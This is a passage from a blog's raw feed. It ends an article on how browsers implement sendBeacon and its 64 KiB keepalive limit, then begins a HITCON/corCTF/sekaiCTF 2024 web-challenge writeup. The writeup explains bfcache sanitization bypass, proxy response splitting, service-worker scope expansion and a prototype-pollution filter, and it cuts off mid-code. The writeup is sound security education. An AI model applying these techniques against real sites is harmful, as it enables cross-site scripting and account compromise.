class="token operator">-></span><span class="token function">lastNavigationWasAppInitiated</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    ResourceLoaderOptions options<span class="token punctuation">;</span>    options<span class="token punctuation">.</span>credentials <span class="token operator">=</span> FetchOptions<span class="token double-colon punctuation">::</span>Credentials<span class="token double-colon punctuation">::</span>Include<span class="token punctuation">;</span>    options<span class="token punctuation">.</span>cache <span class="token operator">=</span> FetchOptions<span class="token double-colon punctuation">::</span>Cache<span class="token double-colon punctuation">::</span>NoCache<span class="token punctuation">;</span>    options<span class="token punctuation">.</span>keepAlive <span class="token operator">=</span> <span class="token boolean">true</span><span class="token punctuation">;</span>    options<span class="token punctuation">.</span>sendLoadCallbacks <span class="token operator">=</span> SendCallbackPolicy<span class="token double-colon punctuation">::</span>SendCallbacks<span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span>body<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        options<span class="token punctuation">.</span>mode <span class="token operator">=</span> FetchOptions<span class="token double-colon punctuation">::</span>Mode<span class="token double-colon punctuation">::</span>NoCors<span class="token punctuation">;</span>        String mimeType<span class="token punctuation">;</span>        <span class="token keyword">auto</span> result <span class="token operator">=</span> <span class="token class-name">FetchBody</span><span class="token double-colon punctuation">::</span><span class="token function">extract</span><span class="token punctuation">(</span><span class="token function">WTFMove</span><span class="token punctuation">(</span>body<span class="token punctuation">.</span><span class="token function">value</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">,</span> mimeType<span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">if</span> <span class="token punctuation">(</span>result<span class="token punctuation">.</span><span class="token function">hasException</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span>            <span class="token keyword">return</span> result<span class="token punctuation">.</span><span class="token function">releaseException</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">auto</span> fetchBody <span class="token operator">=</span> result<span class="token punctuation">.</span><span class="token function">releaseReturnValue</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">if</span> <span class="token punctuation">(</span>fetchBody<span class="token punctuation">.</span><span class="token function">isReadableStream</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span>            <span class="token keyword">return</span> Exception <span class="token punctuation">&#123;</span> ExceptionCode<span class="token double-colon punctuation">::</span>TypeError<span class="token punctuation">,</span> <span class="token string">"Beacons cannot send ReadableStream body"</span>_s <span class="token punctuation">&#125;</span><span class="token punctuation">;</span>        request<span class="token punctuation">.</span><span class="token function">setHTTPBody</span><span class="token punctuation">(</span>fetchBody<span class="token punctuation">.</span><span class="token function">bodyAsFormData</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>mimeType<span class="token punctuation">.</span><span class="token function">isEmpty</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>            request<span class="token punctuation">.</span><span class="token function">setHTTPContentType</span><span class="token punctuation">(</span>mimeType<span class="token punctuation">)</span><span class="token punctuation">;</span>            <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span><span class="token function">isCrossOriginSafeRequestHeader</span><span class="token punctuation">(</span>HTTPHeaderName<span class="token double-colon punctuation">::</span>ContentType<span class="token punctuation">,</span> mimeType<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>                options<span class="token punctuation">.</span>mode <span class="token operator">=</span> FetchOptions<span class="token double-colon punctuation">::</span>Mode<span class="token double-colon punctuation">::</span>Cors<span class="token punctuation">;</span>                options<span class="token punctuation">.</span>httpHeadersToKeep<span class="token punctuation">.</span><span class="token function">add</span><span class="token punctuation">(</span>HTTPHeadersToKeepFromCleaning<span class="token double-colon punctuation">::</span>ContentType<span class="token punctuation">)</span><span class="token punctuation">;</span>            <span class="token punctuation">&#125;</span>        <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span>    <span class="token keyword">auto</span> cachedResource <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">protectedCachedResourceLoader</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token function">requestBeaconResource</span><span class="token punctuation">(</span><span class="token punctuation">&#123;</span> <span class="token function">WTFMove</span><span class="token punctuation">(</span>request<span class="token punctuation">)</span><span class="token punctuation">,</span> options <span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>cachedResource<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        <span class="token function">logError</span><span class="token punctuation">(</span>cachedResource<span class="token punctuation">.</span><span class="token function">error</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">return</span> <span class="token boolean">false</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token function">ASSERT</span><span class="token punctuation">(</span><span class="token operator">!</span>m_inflightBeacons<span class="token punctuation">.</span><span class="token function">contains</span><span class="token punctuation">(</span>cachedResource<span class="token punctuation">.</span><span class="token function">value</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">get</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    m_inflightBeacons<span class="token punctuation">.</span><span class="token function">append</span><span class="token punctuation">(</span>cachedResource<span class="token punctuation">.</span><span class="token function">value</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">get</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    cachedResource<span class="token punctuation">.</span><span class="token function">value</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token function">addClient</span><span class="token punctuation">(</span><span class="token operator">*</span><span class="token keyword">this</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">return</span> <span class="token boolean">true</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>You can see that the entire process is quite similar to Chromium. It first checks the validity of the URL, then checks CSP, and then sends a keepalive request.</p><p>This echoes what we mentioned earlier and what is written in the specifications: the underlying sendBeacon is essentially a keepalive fetch. So where is the source code for when the keepalive queue size exceeds the limit?</p><p>From the implementation, it can be seen that if the queue size exceeds, it is likely that this segment is where the error occurs, because only here will it return false:</p><pre class="line-numbers language-cpp" data-language="cpp"><code class="language-cpp"><span class="token keyword">auto</span> cachedResource <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">protectedCachedResourceLoader</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token function">requestBeaconResource</span><span class="token punctuation">(</span><span class="token punctuation">&#123;</span> <span class="token function">WTFMove</span><span class="token punctuation">(</span>request<span class="token punctuation">)</span><span class="token punctuation">,</span> options <span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>cachedResource<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token function">logError</span><span class="token punctuation">(</span>cachedResource<span class="token punctuation">.</span><span class="token function">error</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">return</span> <span class="token boolean">false</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>Therefore, we can trace down to <code>requestBeaconResource</code>. Additionally, we can also trace the source code from another direction.</p><p>Do you remember the example that sent a string of length 10000 eight times? In Chrome, you will only see the request become pending, but in Safari, a helpful message will appear:</p><blockquote><p>Beacon API cannot load <a href="https://httpstat.us/200?log7">https://httpstat.us/200?log7</a>. Reached maximum amount of queued data of 64Kb for keepalive requests</p></blockquote><p>You can directly use this error message to find the relevant source code at <a href="https://github.com/WebKit/WebKit/blob//WebKit-7620.1.16.111.5/Source/WebCore/loader/cache/CachedResource.cpp#L249">WebKit&#x2F;Source&#x2F;WebCore&#x2F;loader&#x2F;cache&#x2F;CachedResource.cpp</a>:</p><pre class="line-numbers language-cpp" data-language="cpp"><code class="language-cpp"><span class="token keyword">if</span> <span class="token punctuation">(</span>    m_options<span class="token punctuation">.</span>keepAlive <span class="token operator">&amp;&amp;</span> <span class="token function">type</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">!=</span> Type<span class="token double-colon punctuation">::</span>Ping <span class="token operator">&amp;&amp;</span>    <span class="token operator">!</span>cachedResourceLoader<span class="token punctuation">.</span><span class="token function">keepaliveRequestTracker</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">tryRegisterRequest</span><span class="token punctuation">(</span><span class="token operator">*</span><span class="token keyword">this</span><span class="token punctuation">)</span>  <span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token function">setResourceError</span><span class="token punctuation">(</span><span class="token punctuation">&#123;</span>      errorDomainWebKitInternal<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> request<span class="token punctuation">.</span><span class="token function">url</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span>      <span class="token string">"Reached maximum amount of queued data of 64Kb for keepalive requests"</span>_s<span class="token punctuation">,</span>      ResourceError<span class="token double-colon punctuation">::</span>Type<span class="token double-colon punctuation">::</span>AccessControl    <span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">failBeforeStarting</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">return</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>If it is a keepalive, and the type is not ping (the type of sendBeacon will be <code>Type::Beacon</code>), and there is no way to register a new request, then this error is returned.</p><p>Therefore, the key point is the method <code>keepaliveRequestTracker().tryRegisterRequest</code>, located in <a href="https://github.com/WebKit/WebKit/blob/WebKit-7620.1.16.111.5/Source/WebCore/loader/cache/KeepaliveRequestTracker.cpp">Source&#x2F;WebCore&#x2F;loader&#x2F;cache&#x2F;KeepaliveRequestTracker.cpp</a>:</p><pre class="line-numbers language-cpp" data-language="cpp"><code class="language-cpp"><span class="token keyword">const</span> <span class="token keyword">uint64_t</span> maxInflightKeepaliveBytes <span class="token punctuation">&#123;</span> <span class="token number">65536</span> <span class="token punctuation">&#125;</span><span class="token punctuation">;</span> <span class="token comment">// 64 kibibytes as per Fetch specification.</span><span class="token keyword">bool</span> <span class="token class-name">KeepaliveRequestTracker</span><span class="token double-colon punctuation">::</span><span class="token function">tryRegisterRequest</span><span class="token punctuation">(</span>CachedResource<span class="token operator">&amp;</span> resource<span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token function">ASSERT</span><span class="token punctuation">(</span>resource<span class="token punctuation">.</span><span class="token function">options</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span>keepAlive<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">auto</span> body <span class="token operator">=</span> resource<span class="token punctuation">.</span><span class="token function">resourceRequest</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">httpBody</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>body<span class="token punctuation">)</span>        <span class="token keyword">return</span> <span class="token boolean">true</span><span class="token punctuation">;</span>    <span class="token keyword">uint64_t</span> bodySize <span class="token operator">=</span> body<span class="token operator">-></span><span class="token function">lengthInBytes</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span>m_inflightKeepaliveBytes <span class="token operator">+</span> bodySize <span class="token operator">></span> maxInflightKeepaliveBytes<span class="token punctuation">)</span>        <span class="token keyword">return</span> <span class="token boolean">false</span><span class="token punctuation">;</span>    <span class="token function">registerRequest</span><span class="token punctuation">(</span>resource<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">return</span> <span class="token boolean">true</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>It actually just counts how many are still waiting, and checks if adding them would exceed the maximum value of 65536. The operation is quite similar to the last PR from Sentry.</p><h3><span id="firefoxs-sendbeacon-implementation">Firefox’s sendBeacon Implementation</span></h3><p>In the previous Sentry PR, it was mentioned that Firefox does not support keepalive, corresponding to this ticket: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1342484">[meta] Support Fetch keepalive flag and enforce limit on inflight keepalive bytes</a>, which is still open. From the discussion, it seems there has been progress since about half a year ago, and support officially started in Firefox version 133, released in November 2024. Although there are still some bugs, it should become more stable over time.</p><p>I tested a scenario with three browsers, sending out 10 strings of length 60,000:</p><pre class="line-numbers language-markup" data-language="markup"><code class="language-markup"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span><span class="token punctuation">></span></span><span class="token script"><span class="token language-javascript">  <span class="token keyword">for</span><span class="token punctuation">(</span><span class="token keyword">let</span> i<span class="token operator">=</span><span class="token number">1</span><span class="token punctuation">;</span> i<span class="token operator">&lt;=</span><span class="token number">10</span><span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    navigator<span class="token punctuation">.</span><span class="token function">sendBeacon</span><span class="token punctuation">(</span><span class="token string">"https://httpstat.us/200?log"</span><span class="token operator">+</span>i<span class="token punctuation">,</span> <span class="token string">'A'</span><span class="token punctuation">.</span><span class="token function">repeat</span><span class="token punctuation">(</span><span class="token number">60000</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">></span></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>Both Chrome and Safari only sent one request, but Firefox 133.0.3 kindly sent them all out, currently without a 64 KiB limit:</p><p><img src="/img/navigator-sendbeacon-64kib-and-source-code/p7.png" alt="Firefox Screenshot"></p><p>For those curious about the underlying implementation, the code is here: <a href="https://github.com/mozilla/gecko-dev/blob/94c62970ba2f9c40efd5a4f83a538595425820d9/dom/base/Navigator.cpp#L1163">gecko-dev&#x2F;dom&#x2F;base&#x2F;Navigator.cpp</a>. It seems that keepalive has not been integrated yet, which is why the limit has not been triggered. In the future, it should follow the spec, using keepalive requests and adhering to the payload size limits.</p><h2><span id="conclusion">Conclusion</span></h2><p>Small features can have great significance. A seemingly simple <code>sendBeacon</code> is actually quite interesting upon deeper research. Understanding its limitations and solutions, as well as learning from Sentry’s patching process, and reviewing the browser’s source code, provides a better understanding of the underlying implementation.</p><p>In practice, if you are going to use <code>sendBeacon</code>, please remember to add error handling. When the return value is false, switch to a regular fetch or add a retry mechanism to enhance the stability of data transmission.</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;When you want to send some tracking-related information to the server from a webpage, there is another option that is often recommended over directly using &lt;code&gt;fetch&lt;/code&gt; to send requests: &lt;code&gt;navigator.sendBeacon&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Why is this recommended?&lt;/p&gt;
&lt;p&gt;Because if you use the usual method of sending requests, there may be issues when the user closes the page or navigates away. For example, if a request is sent just as the page is being closed, that request may not go through and could be canceled along with the page closure.&lt;/p&gt;
&lt;p&gt;Although there are ways to try to force the request to be sent, these methods often harm the user experience, such as forcing the page to close later or sending a synchronous request.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;navigator.sendBeacon&lt;/code&gt; was created to solve this problem.&lt;/p&gt;</summary>
    
    
    
    <category term="Front-end" scheme="https://blog.huli.tw/categories/Front-end/"/>
    
    
    <category term="Front-end" scheme="https://blog.huli.tw/tags/Front-end/"/>
    
  </entry>
  
  
  
  <entry>
    <title>HITCON CTF &amp; corCTF &amp; sekaiCTF 2024 Writeup</title>
    <link href="https://blog.huli.tw/2024/09/23/en/hitconctf-corctf-sekaictf-2024-writeup/"/>
    <id>https://blog.huli.tw/2024/09/23/en/hitconctf-corctf-sekaictf-2024-writeup/</id>
    <published>2024-09-23T02:40:00.000Z</published>
    <updated>2024-09-23T09:23:18.060Z</updated>
    
    <content type="html"><![CDATA[<p>It’s been a while since I wrote writeup. I’ve wanted to write for a long time but kept procrastinating. For something like CTF writeups, speed is quite important because most discussions happen in Discord after the competition. Over time, it’s harder to find information, and it’s very likely to forget, so I need to quickly write a writeup to record those useful pieces of information.</p><p>This article brings together writeups for three CTFs. Some I didn’t play myself; I just looked at others’ writeups and take a note of them.</p><p>Keyword list:</p><ol><li>bfcache</li><li>response splitting</li><li>Service-Worker-Allowed</li><li>gunicorn script_name</li><li>socket.io disconnect</li><li>socket.io JSONP CSP bypass</li><li>performance API</li><li>streaming HTML parsing </li><li>content-type ISO-2022-JP</li></ol><span id="more"></span><h2><span id="hitcon-ctf-2024">HITCON CTF 2024</span></h2><h3><span id="private-browsing">Private Browsing+</span></h3><p>This challenge is basically a proxy that proxies things under <code>/~huli/</code> to other websites, and the response varies based on the header:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">if</span> <span class="token punctuation">(</span>    req<span class="token punctuation">.</span>headers<span class="token punctuation">[</span><span class="token string">'sec-fetch-mode'</span><span class="token punctuation">]</span> <span class="token operator">&amp;&amp;</span>    req<span class="token punctuation">.</span>headers<span class="token punctuation">[</span><span class="token string">'sec-fetch-mode'</span><span class="token punctuation">]</span> <span class="token operator">!==</span> <span class="token string">'navigate'</span> <span class="token operator">&amp;&amp;</span>    req<span class="token punctuation">.</span>headers<span class="token punctuation">[</span><span class="token string">'sec-fetch-site'</span><span class="token punctuation">]</span> <span class="token operator">===</span> <span class="token string">'same-origin'</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    req<span class="token punctuation">.</span>url <span class="token operator">=</span> chunks<span class="token punctuation">.</span><span class="token function">slice</span><span class="token punctuation">(</span><span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">join</span><span class="token punctuation">(</span><span class="token string">'/'</span><span class="token punctuation">)</span>    proxy<span class="token punctuation">.</span><span class="token function">handler</span><span class="token punctuation">(</span>req<span class="token punctuation">,</span> res<span class="token punctuation">)</span><span class="token punctuation">&#125;</span> <span class="token keyword">else</span> <span class="token punctuation">&#123;</span>    res<span class="token punctuation">.</span><span class="token function">writeHead</span><span class="token punctuation">(</span><span class="token number">200</span><span class="token punctuation">,</span> <span class="token punctuation">&#123;</span> <span class="token operator">...</span><span class="token constant">DEFAULT_HEADERS</span><span class="token punctuation">,</span> <span class="token string-property property">'content-type'</span><span class="token operator">:</span> <span class="token string">'text/html'</span> <span class="token punctuation">&#125;</span><span class="token punctuation">)</span>    res<span class="token punctuation">.</span><span class="token function">end</span><span class="token punctuation">(</span><span class="token constant">VIEWER_HTML</span><span class="token punctuation">.</span><span class="token function">replace</span><span class="token punctuation">(</span><span class="token string">'SITEB64'</span><span class="token punctuation">,</span> <span class="token function">btoa</span><span class="token punctuation">(</span>proxy<span class="token punctuation">.</span>site<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>If it’s a navigation, it will return VIEWER_HTML, which will perform various sanitizations, so XSS is not possible.</p><p>The bypass method is to use bfcache. It appeared in <a href="https://blog.huli.tw/2022/12/08/ctf-js-notes/#seccon-ctf-2022-quals-spanote">SECCON CTF 2022 Quals - spanote</a>. In simple terms, we first visit target.html, at which point the response will be VIEWER_HTML, and within VIEWER_HTML, <code>fetch(&#39;target.html&#39;)</code> will be executed to fetch the content, and at this time the response will be placed in the cache.</p><p>Next, we redirect the same tab to our own origin, then execute <code>history.go(-1)</code> to redirect the URL back to <code>target.html</code>. At this point, due to bfcache, it will load the HTML fetched by <code>fetch(&#39;target.html&#39;)</code>, bypassing the original restrictions and allowing any HTML to be loaded.</p><p>But the next issue is CSP: <code>default-src &#39;self&#39;;</code>, so scripts can only load from the same origin, but the proxy has restrictions:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">if</span> <span class="token punctuation">(</span>    res<span class="token punctuation">.</span>headers<span class="token punctuation">[</span><span class="token string">'content-type'</span><span class="token punctuation">]</span><span class="token punctuation">.</span><span class="token function">toLowerCase</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">includes</span><span class="token punctuation">(</span><span class="token string">'script'</span><span class="token punctuation">)</span> <span class="token operator">||</span>    req<span class="token punctuation">.</span>headers<span class="token punctuation">[</span><span class="token string">'sec-fetch-dest'</span><span class="token punctuation">]</span> <span class="token operator">===</span> <span class="token string">'script'</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    res<span class="token punctuation">.</span>headers<span class="token punctuation">[</span><span class="token string">'content-length'</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token string">'0'</span>    <span class="token keyword">delete</span> res<span class="token punctuation">.</span>headers<span class="token punctuation">[</span><span class="token string">'transfer-encoding'</span><span class="token punctuation">]</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>If the content type includes script, it directly sets the content-length to 0, so scripts cannot be loaded.</p><p>At this point, we need to use response splitting because the proxy will directly pipe the received response out, so we can construct the following flow:</p><ol><li>The browser sends the first request, let’s call it request A.</li><li>In the response of request A, first output the <code>expect: &#39;100-continue&#39;</code> header, allowing the proxy server to output the header. At this point, for the browser, the first request has ended, and it has received the response.</li><li>The browser sends the second request B, reusing the same connection.</li><li>At this point, output the response of request B (but for the proxy, it is still the response of request A), bypassing the content type restriction because the proxy thinks this is response content.</li></ol><p>In simple terms, it’s similar to request smuggling, but done in reverse.</p><p>There are two details here:</p><ol><li>Through Chrome, there is a limit of 6 concurrent requests to the same domain, ensuring that two of the requests will use the same connection.</li><li>The Node.js server, upon receiving <code>Expect: 100-continue</code>, will flush first. This step is necessary to bypass Chrome’s restrictions.</li></ol><p>Once JS can be loaded, we can use the same method to load the service worker and use the <code>Service-Worker-Allowed: /</code> header to expand the scope, allowing registration to the entire origin.</p><p>More details can be found in Maple’s writeup: <a href="https://github.com/maple3142/My-CTF-Challenges/tree/master/HITCON%20CTF%202024/Private%20Browsing%2B">https://github.com/maple3142/My-CTF-Challenges/tree/master/HITCON%20CTF%202024/Private%20Browsing%2B</a></p><h2><span id="corctf-2024">corCTF 2024</span></h2><h3><span id="webx2fcorctf-challenge-dev-17-solves">web&#x2F;corctf-challenge-dev - 17 solves</span></h3><p>Author: drakon</p><p>A challenge related to Chrome extensions, but the author has already written it in detail, so I won’t elaborate: <a href="https://cor.team/posts/corctf-2024-corctf-challenge-dev/">corCTF 2024 - corctf-challenge-dev</a></p><h3><span id="webx2fiframe-note-2-solves">web&#x2F;iframe-note - 2 solves</span></h3><p>Author: sterllic</p><p>The core code of this challenge is the following segment:</p><pre class="line-numbers language-markup" data-language="markup"><code class="language-markup"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>iframe</span> <span class="token attr-name">id</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>iframe<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>iframe</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span> <span class="token attr-name">src</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>&#123;&#123; url_for('static', filename='axios.min.js') &#125;&#125;<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token script"></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span> <span class="token attr-name">src</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>&#123;&#123; url_for('static', filename='can.min.js') &#125;&#125;<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token script"></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span><span class="token punctuation">></span></span><span class="token script"><span class="token language-javascript">  window<span class="token punctuation">.</span><span class="token function-variable function">onload</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">&#123;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token string">"__proto__"</span><span class="token punctuation">,</span> <span class="token string">"constructor"</span><span class="token punctuation">,</span> <span class="token string">"prototype"</span><span class="token punctuation">]</span><span class="token punctuation">.</span><span class="token function">some</span><span class="token punctuation">(</span><span class="token parameter">d</span> <span class="token operator">=></span> location<span class="token punctuation">.</span>search<span class="token punctuation">.</span><span class="token function">includes</span><span class="token punctuation">(</span>d<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>      <span class="token keyword">return</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token keyword">const</span> qs <span class="token operator">=</span> can<span class="token punctuation">.</span><span class="token function">deparam</span><span class="token punctuation">(</span>location<span class="token punctuation">.</span>search<span class="token punctuation">.</span><span class="token function">slice</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>qs<span class="token punctuation">.</span>id<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>      <span class="token function">alert</span><span class="token punctuation">(</span><span class="token string">"no id provided"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>      location<span class="token punctuation">.</span>href <span class="token operator">=</span> <span class="token string">"/"</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    axios<span class="token punctuation">.</span><span class="token function">get</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">/iframe/</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span><span class="token function">encodeURIComponent</span><span class="token punctuation">(</span>qs<span class="token punctuation">.</span>id<span class="token punctuation">)</span><span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span>    <span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token parameter">res</span> <span class="token operator">=></span> <span class="token punctuation">&#123;</span>      <span class="token keyword">if</span> <span class="token punctuation">(</span>res<span class="token punctuation">.</span>data<span class="token punctuation">.</span>error<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        <span class="token function">alert</span><span class="token punctuation">(</span><span class="token string">"no iframe found with that id!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">return</span><span class="token punctuation">;</span>      <span class="token punctuation">&#125;</span>      <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>res<span class="token punctuation">.</span>data<span class="token punctuation">.</span>url<span class="token punctuation">.</span><span class="token function">toLowerCase</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">startsWith</span><span class="token punctuation">(</span><span class="token string">"http"</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        <span class="token function">alert</span><span class="token punctuation">(</span><span class="token string">"invalid url"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">return</span><span class="token punctuation">;</span>      <span class="token punctuation">&#125;</span>      document<span class="token punctuation">.</span><span class="token function">querySelector</span><span class="token punctuation">(</span><span class="token string">"#name"</span><span class="token punctuation">)</span><span class="token punctuation">.</span>textContent <span class="token operator">=</span> res<span class="token punctuation">.</span>data<span class="token punctuation">.</span>name<span class="token punctuation">;</span>      document<span class="token punctuation">.</span><span class="token function">querySelector</span><span class="token punctuation">(</span><span class="token string">"#iframe"</span><span class="token punctuation">)</span><span class="token punctuation">.</span>src <span class="token 